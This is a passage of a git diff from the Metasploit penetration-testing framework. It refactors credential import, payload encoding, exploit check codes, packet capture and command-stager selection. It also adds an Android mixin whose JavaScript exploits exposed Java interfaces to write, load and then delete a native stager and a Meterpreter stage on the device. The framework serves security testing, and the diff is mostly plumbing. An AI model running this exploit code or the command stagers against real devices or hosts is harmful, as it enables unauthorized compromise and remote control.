MSF_WEB_VULN_TEXT_ELEMENT_NAMES = [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' ] # @@ -80,8 +81,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -127,8 +128,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_headers = unserialize_object( - element.elements['headers'], - options[:allow_yaml] + element.elements['headers'], + options[:allow_yaml] ) info[:headers] = nils_for_nulls(unserialized_headers) @@ -174,8 +175,8 @@ module Msf # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] + element.elements['params'], + options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -204,6 +205,7 @@ module Msf doc.elements.each("/#{btag}/hosts/host") do |host| host_data = {} + host_data[:task] = args[:task] host_data[:workspace] = wspace host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) if bl.include? host_data[:host] @@ -247,6 +249,7 @@ module Msf host.elements.each('services/service') do |service| service_data = {} + service_data[:task] = args[:task] service_data[:workspace] = wspace service_data[:host] = hobj service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i @@ -345,34 +348,40 @@ module Msf end end - host.elements.each('creds/cred') do |cred| - cred_data = {} - cred_data[:workspace] = wspace - cred_data[:host] = hobj - %W{port ptype sname proto proof active user pass}.each {|datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) + ## Handle old-style (pre 4.10) XML files + if btag == "MetasploitV4" + if host.elements['creds'].present? + unless host.elements['creds'].elements.empty? + origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") + + host.elements.each('creds/cred') do |cred| + username = cred.elements['user'].try(:text) + proto = cred.elements['proto'].try(:text) + sname = cred.elements['sname'].try(:text) + port = cred.elements['port'].try(:text) + + # Handle blanks by resetting to sane default values + proto = "tcp" if proto.blank? + pass = cred.elements['pass'].try(:text) + pass = "" if pass == "*MASKED*" + + private = create_credential_private(private_data: pass, private_type: :password) + public = create_credential_public(username: username) + core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) + + create_credential_login(core: core, + workspace_id: wspace.id, + address: hobj.address, + port: port, + protocol: proto, + service_name: sname, + status: Metasploit::Model::Login::Status::UNTRIED) + end end - } - %W{created-at updated-at}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_")] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - %W{source-type source-id}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - if cred_data[:pass] == "<masked>" - cred_data[:pass] = "" - cred_data[:active] = false - elsif cred_data[:pass] == "*BLANK PASSWORD*" - cred_data[:pass] = "" end - report_cred(cred_data) end + host.elements.each('sessions/session') do |sess| sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) sess_data = {} @@ -397,9 +406,9 @@ module Msf end existing_session = get_session( - :workspace => sess_data[:host].workspace, - :addr => sess_data[:host].address, - :time => sess_data[:opened_at] + :workspace => sess_data[:host].workspace, + :addr => sess_data[:host].address, + :time => sess_data[:opened_at] ) this_session = existing_session || report_session(sess_data) next if existing_session @@ -421,6 +430,7 @@ module Msf end end + # Import web sites doc.elements.each("/#{btag}/web_sites/web_site") do |web| info = {} @@ -448,11 +458,11 @@ module Msf %W{page form vuln}.each do |wtype| doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| send( - "import_msf_web_#{wtype}_element", - element, - :allow_yaml => allow_yaml, - :workspace => wspace, - &block + "import_msf_web_#{wtype}_element", + element, + :allow_yaml => allow_yaml, + :workspace => wspace, + &block ) end end @@ -472,9 +482,9 @@ module Msf # @raise [Msf::DBImportError] if unsupported format def check_msf_xml_version!(document) metadata = { - # FIXME https://www.pivotaltracker.com/story/show/47128407 - :allow_yaml => false, - :root_tag => nil + # FIXME https://www.pivotaltracker.com/story/show/47128407 + :allow_yaml => false, + :root_tag => nil } if document.elements['MetasploitExpressV1'] @@ -491,6 +501,8 @@ module Msf metadata[:root_tag] = 'MetasploitExpressV4' elsif document.elements['MetasploitV4'] metadata[:root_tag] = 'MetasploitV4' + elsif document.elements['MetasploitV5'] + metadata[:root_tag] = 'MetasploitV5' end unless metadata[:root_tag] @@ -578,3 +590,4 @@ module Msf end end end + diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb index 6d8974b1ac..26c90c6920 100644 --- a/lib/msf/core/db_manager/migration.rb +++ b/lib/msf/core/db_manager/migration.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class DBManager module Migration diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..36d46c3455 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -125,6 +125,17 @@ class EncodedPayload self.encoder = encmod.new self.encoded = nil + # If the encoding is requested by an exploit check compatibility + # options first of all. For the 'generic/none' encoder compatibility + # options don't apply. + if (reqs['Exploit'] && + !reqs['Exploit'].compatible?(self.encoder) && + encname !~ /generic\/none/) + wlog("#{pinst.refname}: Encoder #{encoder.refname} doesn't match the exploit Compat options", + 'core', LEV_1) + next + end + # If there is an encoder type restriction, check to see if this # encoder matches with what we're searching for. if ((reqs['EncoderType']) and @@ -198,7 +209,7 @@ class EncodedPayload # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) - wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}", + wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", 'core', LEV_1) next_encoder = true break @@ -232,6 +243,7 @@ class EncodedPayload # Prefix the prepend encoder value self.encoded = (reqs['PrependEncoder'] || '') + self.encoded + self.encoded << (reqs['AppendEncoder'] || '') end # @@ -392,6 +404,15 @@ class EncodedPayload Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts) end + # + # An array containing the architecture(s) that this payload was made to run on + # + def arch + if pinst + pinst.arch + end + end + # # The raw version of the payload # diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 829ed71cdf..418e2959b5 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Exe diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index df8241193e..e5b070d546 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -65,40 +65,48 @@ class Exploit < Msf::Module ## # # The various check codes that can be returned from the ``check'' routine. + # Please read the following wiki to learn how these codes are used: + # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method # ## module CheckCode # - # Can't tell if the target is exploitable or not. + # Can't tell if the target is exploitable or not. This is recommended if the module fails to + # retrieve enough information from the target machine, such as due to a timeout. # Unknown = [ 'unknown', "Cannot reliably check exploitability."] # - # The target is safe and is therefore not exploitable. + # The target is safe and is therefore not exploitable. This is recommended after the check + # fails to trigger the vulnerability, or even detect the service. # Safe = [ 'safe', "The target is not exploitable." ] # - # The target is running the service in question but may not be - # exploitable. + # The target is running the service in question, but the check fails to determine whether + # the target is vulnerable or not. # Detected = [ 'detected', "The target service is running, but could not be validated." ] # - # The target appears to be vulnerable. + # The target appears to be vulnerable. This is recommended if the vulnerability is determined + # based on passive reconnaissance. For example: version, banner grabbing, or having the resource + # that's known to be vulnerable. # Appears = [ 'appears', "The target appears to be vulnerable." ] # - # The target is vulnerable. + # The target is vulnerable. Only used if the check is able to actually take advantage of the + # bug, and obtain hard evidence. For example: executing a command on the target machine, and + # retrieve the output. # Vulnerable = [ 'vulnerable', "The target is vulnerable." ] # - # The exploit does not support the check method. + # The module does not support the check method. # - Unsupported = [ 'unsupported', "This exploit does not support check." ] + Unsupported = [ 'unsupported', "This module does not support check." ] end # @@ -516,6 +524,7 @@ class Exploit < Msf::Module reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target) reqs['BadChars'] = payload_badchars(explicit_target) reqs['Append'] = payload_append(explicit_target) + reqs['AppendEncoder'] = payload_append_encoder(explicit_target) reqs['MaxNops'] = payload_max_nops(explicit_target) reqs['MinNops'] = payload_min_nops(explicit_target) reqs['Encoder'] = datastore['ENCODER'] @@ -523,6 +532,7 @@ class Exploit < Msf::Module reqs['EncoderType'] = payload_encoder_type(explicit_target) reqs['EncoderOptions'] = payload_encoder_options(explicit_target) reqs['ExtendedOptions'] = payload_extended_options(explicit_target) + reqs['Exploit'] = self # Pass along the encoder don't fall through flag reqs['EncoderDontFallThrough'] = datastore['EncoderDontFallThrough'] @@ -738,7 +748,7 @@ class Exploit < Msf::Module c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch framework.encoders.each_module_ranked( - 'Arch' => c_arch) { |name, mod| + 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod| encoders << [ name, mod ] } @@ -823,6 +833,23 @@ class Exploit < Msf::Module p end + # + # Return any text that should be appended to the encoder of the payload. + # The payload module is passed so that the exploit can take a guess + # at architecture and platform if it's a multi exploit. + # + def payload_append_encoder(explicit_target = nil) + explicit_target ||= target + + if (explicit_target and explicit_target.payload_append_encoder) + p = explicit_target.payload_append_encoder + else + p = payload_info['AppendEncoder'] || '' + end + + p + end + # # Maximum number of nops to use as a hint to the framework. # Nil signifies that the framework should decide. diff --git a/lib/msf/core/exploit/afp.rb b/lib/msf/core/exploit/afp.rb index 1141a25c2d..0feffb6c51 100644 --- a/lib/msf/core/exploit/afp.rb +++ b/lib/msf/core/exploit/afp.rb @@ -246,8 +246,7 @@ module Exploit::Remote::AFP end def parse_header(packet) - header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order - header[3] = packet[4..7].reverse.unpack("l").first + header = packet.unpack('CCnNNN') return header end diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb new file mode 100644 index 0000000000..8f2bd4f76d --- /dev/null +++ b/lib/msf/core/exploit/android.rb @@ -0,0 +1,101 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf +module Exploit::Android + + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + def add_javascript_interface_exploit_js(arch) + stagename = Rex::Text.rand_text_alpha(5) + script = %Q| + function exec(runtime, cmdArr) { + var ch = 0; + var output = ''; + var process = runtime.exec(cmdArr); + var input = process.getInputStream(); + + while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } + return output; + } + + function attemptExploit(obj) { + // ensure that the object contains a native interface + try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + + // get the pid + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); + + // get the runtime so we can exec + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + // LibraryData is loaded via ajax later, because we have to access javascript in + // order to detect what arch we are running. + var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. + var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}"; + + // get the process name, which will give us our data path + // $PPID does not seem to work on android 4.0, so we concat pids manually + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); + + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; + var stagePath = path + '/#{stagename}.apk'; + + // build the library and chmod it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor(); + runtime.exec(['chmod', '700', libraryPath]).waitFor(); + + // build the stage, chmod it, and load it + runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor(); + runtime.exec(['chmod', '700', stagePath]).waitFor(); + + // load the library + runtime.load(libraryPath); + + // delete dropped files + runtime.exec(['rm', stagePath]).waitFor(); + runtime.exec(['rm', libraryPath]).waitFor(); + + return true; + } + + for (i in top) { if (attemptExploit(top[i]) === true) break; } + | + + # remove comments and empty lines + script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') + end + + + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') + data = File.read(localfile, :mode => 'rb') + data.gsub!('PLOAD', stagename) + end + +end +end diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 7da75a2e95..fcc5f663fa 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -48,7 +48,7 @@ module Msf begin require 'pcaprub' @pcaprub_loaded = true - rescue ::Exception => e + rescue ::LoadError => e @pcaprub_loaded = false @pcaprub_error = e end @@ -56,7 +56,7 @@ module Msf begin require 'network_interface' @network_interface_loaded = true - rescue ::Exception => e + rescue ::LoadError => e @network_interface_loaded = false @network_interface_error = e end @@ -97,7 +97,7 @@ module Msf len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i fil = opts['FILTER'] || datastore['FILTER'] - arp = opts['ARPCAP'] || true + do_arp = (opts['ARPCAP'] == false) ? false : true # Look for a PCAP file cap = datastore['PCAPFILE'] || '' @@ -115,7 +115,7 @@ module Msf end self.capture = ::Pcap.open_live(dev, len, true, tim) - if arp + if do_arp self.arp_capture = ::Pcap.open_live(dev, 512, true, tim) preamble = datastore['UDP_SECRET'].to_i arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})" @@ -125,7 +125,7 @@ module Msf if (not self.capture) raise RuntimeError, "Could not start the capture process" - elsif (arp and !self.arp_capture and cap.empty?) + elsif (do_arp and !self.arp_capture and cap.empty?) raise RuntimeError, "Could not start the ARP capture process" end @@ -141,7 +141,6 @@ module Msf def capture_extract_ies(raw) set = {} - ret = 0 idx = 0 len = 0 @@ -279,7 +278,7 @@ module Msf # This ascertains the correct Ethernet addresses one should use to # ensure injected IP packets actually get where they are going, and # manages the self.arp_cache hash. It always uses self.arp_capture - # do inject and capture packets, and will always first fire off a + # to inject and capture packets, and will always first fire off a # UDP packet using the regular socket to learn the source host's # and gateway's mac addresses. def lookup_eth(addr=nil, iface=nil) @@ -309,7 +308,15 @@ module Msf dst_port = rand(30000)+1024 preamble = [datastore['UDP_SECRET']].pack("N") secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}" - UDPSocket.open.send(secret, 0, dst_host, dst_port) + + begin + UDPSocket.open.send(secret, 0, dst_host, dst_port) + rescue Errno::ENETUNREACH + # This happens on networks with no gatway. We'll need to use a + # fake source hardware address. + self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" + end + begin to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 ::Timeout.timeout(to) do @@ -415,7 +422,7 @@ module Msf attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache - #Netifaces code + # Netifaces code def netifaces_implemented? @network_interface_loaded and @@ -486,8 +493,8 @@ module Msf check_pcaprub_loaded dev = get_interface_guid(dev) addrs = NetworkInterface.addresses(dev) - raise RuntimeError, "Interface #{dev} do not exists" if !addrs - raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 + raise RuntimeError, "Interface #{dev} does not exist" if !addrs + raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr'] addrs[NetworkInterface::AF_INET][num]['addr'] end @@ -496,8 +503,8 @@ module Msf check_pcaprub_loaded dev = get_interface_guid(dev) addrs = NetworkInterface.addresses(dev) - raise RuntimeError, "Interface #{dev} do not exists" if !addrs - raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 + raise RuntimeError, "Interface #{dev} does not exist" if !addrs + raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1 raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask'] addrs[NetworkInterface::AF_INET][num]['netmask'] end diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index cf4b251161..230c53cdbf 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -2,96 +2,319 @@ require 'rex/exploitation/cmdstager' require 'msf/core/exploit/exe' +require 'msf/base/config' module Msf -### -# # This mixin provides an interface to generating cmdstagers -# -### module Exploit::CmdStager include Msf::Exploit::EXE + # Constant for stagers - used when creating an stager instance. + STAGERS = { + :bourne => Rex::Exploitation::CmdStagerBourne, + :debug_asm => Rex::Exploitation::CmdStagerDebugAsm, + :debug_write => Rex::Exploitation::CmdStagerDebugWrite, + :echo => Rex::Exploitation::CmdStagerEcho, + :printf => Rex::Exploitation::CmdStagerPrintf, + :vbs => Rex::Exploitation::CmdStagerVBS, + :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :tftp => Rex::Exploitation::CmdStagerTFTP + } + + # Constant for decoders - used when checking the default flavor decoder. + DECODERS = { + :debug_asm => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_asm"), + :debug_write => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "debug_write"), + :vbs => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64"), + :vbs_adodb => File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + } + + attr_accessor :stager_instance + attr_accessor :cmd_list + attr_accessor :flavor + attr_accessor :decoder + attr_accessor :exe + + # Creates an instance of an exploit that uses an CMD Stager and register the + # datastore options provided by the mixin. # - # Creates an instance of an exploit that uses an CmdStager overwrite. - # + # @param info [Hash] Hash containing information to initialize the exploit. + # @return [Msf::Module::Exploit] the exploit module. def initialize(info = {}) super - @cmd_list = nil - @stager_instance = nil + + flavors = module_flavors + flavors = STAGERS.keys if flavors.empty? + flavors.unshift('auto') + + register_advanced_options( + [ + OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]), + OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']) + ], self.class) end + # Executes the command stager while showing the progress. This method should + # be called from exploits using this mixin. # - # Execute the command stager while showing the progress - # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @option opts :delay [Float] Delay between command executions. + # @return [void] def execute_cmdstager(opts = {}) - cmd_list = generate_cmdstager(opts) + self.cmd_list = generate_cmdstager(opts) - execute_cmdstager_begin(opts) + stager_instance.setup(self) - sent = 0 - total_bytes = 0 - cmd_list.each { |cmd| total_bytes += cmd.length } + begin + execute_cmdstager_begin(opts) - delay = opts[:delay] - delay ||= 0.25 + sent = 0 + total_bytes = 0 + cmd_list.each { |cmd| total_bytes += cmd.length } - cmd_list.each do |cmd| - execute_command(cmd, opts) - sent += cmd.length + delay = opts[:delay] + delay ||= 0.25 - # In cases where a server has multiple threads, we want to be sure that - # commands we execute happen in the correct (serial) order. - ::IO.select(nil, nil, nil, delay) + cmd_list.each do |cmd| + execute_command(cmd, opts) + sent += cmd.length - progress(total_bytes, sent) + # In cases where a server has multiple threads, we want to be sure that + # commands we execute happen in the correct (serial) order. + ::IO.select(nil, nil, nil, delay) + + progress(total_bytes, sent) + end + + execute_cmdstager_end(opts) + ensure + stager_instance.teardown(self) end - - execute_cmdstager_end(opts) end - # # Generates a cmd stub based on the current target's architecture - # and operating system. + # and platform. # + # @param opts [Hash] Hash containing configuration options. Also allow to + # send opts to the Rex::Exploitation::CmdStagerBase constructor. + # @option opts :flavor [Symbol] The CMD Stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @param pl [String] String containing the payload to execute + # @return [Array] The list of commands to execute + # @raise [ArgumentError] raised if the cmd stub can not be generated def generate_cmdstager(opts = {}, pl = nil) - pl ||= payload.encoded + select_cmdstager(opts) - @exe = generate_payload_exe + self.exe = generate_payload_exe(:code => pl) - @stager_instance = create_stager(@exe) - cmd_list = @stager_instance.generate(opts) + self.stager_instance = create_stager + cmd_list = stager_instance.generate(opts_with_decoder(opts)) - if (cmd_list.nil? or cmd_list.length < 1) + if (cmd_list.nil? || cmd_list.length < 1) print_error("The command stager could not be generated") raise ArgumentError end - @cmd_list = cmd_list + cmd_list end - - # - # Show the progress of the upload + # Show the progress of the upload while cmd staging # + # @param total [Float] The total number of bytes to send + # @param sent [Float] The number of bytes sent + # @return [void] def progress(total, sent) done = (sent.to_f / total.to_f) * 100 percent = "%3.2f%%" % done.to_f print_status("Command Stager progress - %7s done (%d/%d bytes)" % [percent, sent, total]) end + # Selects the correct cmd stager and decoder stub to use # - # Methods to override - not used internally + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager and decoder. + # @option opts :flavor [Symbol] The cmd stager to use. + # @option opts :decoder [Symbol] The decoder stub to use. + # @return [void] + # @raise [ArgumentError] raised if a cmd stager can not be selected or it + # isn't compatible with the target platform. + def select_cmdstager(opts = {}) + self.flavor = select_flavor(opts) + raise ArgumentError, "Unable to select CMD Stager" if flavor.nil? + raise ArgumentError, "The CMD Stager '#{flavor}' isn't compatible with the target" unless compatible_flavor?(flavor) + self.decoder = select_decoder(opts) + end + + + # Returns a hash with the :decoder option if possible # + # @param opts [Hash] Input Hash. + # @return [Hash] Hash with the input data and a :decoder option when + # possible. + def opts_with_decoder(opts = {}) + return opts if opts.include?(:decoder) + return opts.merge(:decoder => decoder) if decoder + opts + end + + + # Create an instance of the flavored stager. + # + # @return [Rex::Exploitation::CmdStagerBase] The cmd stager to use. + # @raise [NoMethodError] raised if the flavor doesn't exist. + def create_stager + STAGERS[flavor].new(exe) + end + + # Returns the default decoder stub for the input flavor. + # + # @param f [Symbol] the input flavor. + # @return [Symbol] the decoder. + # @return [nil] if there isn't a default decoder to use for the current + # cmd stager flavor. + def default_decoder(f) + DECODERS[f] + end + + # Selects the correct cmd stager decoder to use based on three rules: (1) use + # the decoder provided in input options, (2) use the decoder provided by the + # user through datastore options, (3) select the default decoder for the + # current cmd stager flavor if available. + # + # @param opts [Hash] Hash containing the options to select te correct + # decoder. + # @option opts :decoder [String] The decoder stub to use. + # @return [String] The decoder. + # @return [nil] if a decoder can not be selected. + def select_decoder(opts = {}) + return opts[:decoder] if opts.include?(:decoder) + return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank? + default_decoder(flavor) + end + + # Selects the correct cmd stager to use based on three rules: (1) use the + # flavor provided in options, (2) use the flavor provided by the user + # through datastore options, (3) guess the flavor using the target platform. + # + # @param opts [Hash] Hash containing the options to select te correct cmd + # stager + # @option opts :flavor [Symbol] The cmd stager flavor to use. + # @return [Symbol] The flavor to use. + # @return [nil] if a flavor can not be selected. + def select_flavor(opts = {}) + return opts[:flavor].to_sym if opts.include?(:flavor) + unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto' + return datastore['CMDSTAGER::FLAVOR'].to_sym + end + guess_flavor + end + + # Guess the cmd stager flavor to use using information from the module, + # target or platform. + # + # @return [Symbol] The cmd stager flavor to use. + # @return [nil] if the cmd stager flavor can not be guessed. + def guess_flavor + # First try to guess a compatible flavor based on the module & target information. + unless target_flavor.nil? + case target_flavor.class.to_s + when 'Array' + return target_flavor[0].to_sym + when 'String' + return target_flavor.to_sym + when 'Symbol' + return target_flavor + end + end + + # Second try to guess a compatible flavor based on the target platform. + return nil unless target_platform.names.length == 1 + c_platform = target_platform.names.first + case c_platform + when /linux/i + :bourne + when /osx/i + :bourne + when /unix/i + :bourne + when /win/i + :vbs + else + nil + end + end + + # Returns all the compatible stager flavors specified by the module and each + # of it's targets. + # + # @return [Array] the list of all compatible cmd stager flavors. + def module_flavors + flavors = [] + flavors += Array(module_info['CmdStagerFlavor']) if module_info['CmdStagerFlavor'] + targets.each do |target| + flavors += Array(target.opts['CmdStagerFlavor']) if target.opts['CmdStagerFlavor'] + end + flavors.uniq! + flavors.map { |flavor| flavor.to_s } + end + + # Returns the compatible stager flavors for the current target or module. + # + # @return [Array] the list of compatible cmd stager flavors. + # @return [Symbol] the compatible cmd stager flavor. + # @return [String] the compatible cmd stager flavor. + # @return [nil] if there isn't any compatible flavor defined. + def target_flavor + return target.opts['CmdStagerFlavor'] if target && target.opts['CmdStagerFlavor'] + return module_info['CmdStagerFlavor'] if module_info['CmdStagerFlavor'] + nil + end + + # Answers if the input flavor is compatible with the current target or module. + # + # @param f [Symbol] The flavor to check + # @return [Boolean] true if compatible, false otherwise. + def compatible_flavor?(f) + return true if target_flavor.nil? + case target_flavor.class.to_s + when 'String' + return true if target_flavor == f.to_s + when 'Array' + target_flavor.each { |tr| return true if tr.to_sym == f } + when 'Symbol' + return true if target_flavor == f + end + false + end + + # Code to execute before the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_begin(opts) end + + # Code to execute after the cmd stager stub. This method is designed to be + # overriden by a module this mixin. + # + # @param opts [Hash] Hash of configuration options. def execute_cmdstager_end(opts) end -end + # Code to execute each command from the. This method is designed to be + # overriden by a module using this mixin. + # + # @param opts [Hash] Hash of configuration options. + def execute_command(cmd, opts) + raise NotImplementedError + end end +end diff --git a/lib/msf/core/exploit/cmdstager_bourne.rb b/lib/msf/core/exploit/cmdstager_bourne.rb deleted file mode 100644 index f4859105c7..0000000000 --- a/lib/msf/core/exploit/cmdstager_bourne.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerBourne - - include Msf::Exploit::CmdStager - - def create_stager(exe) - Rex::Exploitation::CmdStagerBourne.new(exe) - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_asm.rb b/lib/msf/core/exploit/cmdstager_debug_asm.rb deleted file mode 100644 index acaeed53d0..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_asm.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugAsm - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe assembly listing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugAsm.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_debug_write.rb b/lib/msf/core/exploit/cmdstager_debug_write.rb deleted file mode 100644 index 53ded3ab55..0000000000 --- a/lib/msf/core/exploit/cmdstager_debug_write.rb +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: binary -*- - -require 'msf/core/exploit/cmdstager' - -module Msf - -### -# -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### -module Exploit::CmdStagerDebugWrite - - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super - - register_advanced_options( - [ - OptString.new( 'DECODERSTUB', [ true, 'The debug.exe file-writing decoder stub to use.', - File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")]), - ], self.class) - end - - def create_stager(exe) - Rex::Exploitation::CmdStagerDebugWrite.new(exe) - end - - def execute_cmdstager(opts = {}) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end - - def generate_cmdstager(opts = {}, pl = nil) - opts.merge!({ :decoder => datastore['DECODERSTUB'] }) - super - end -end - -end diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb deleted file mode 100644 index a4e45d3daa..0000000000 --- 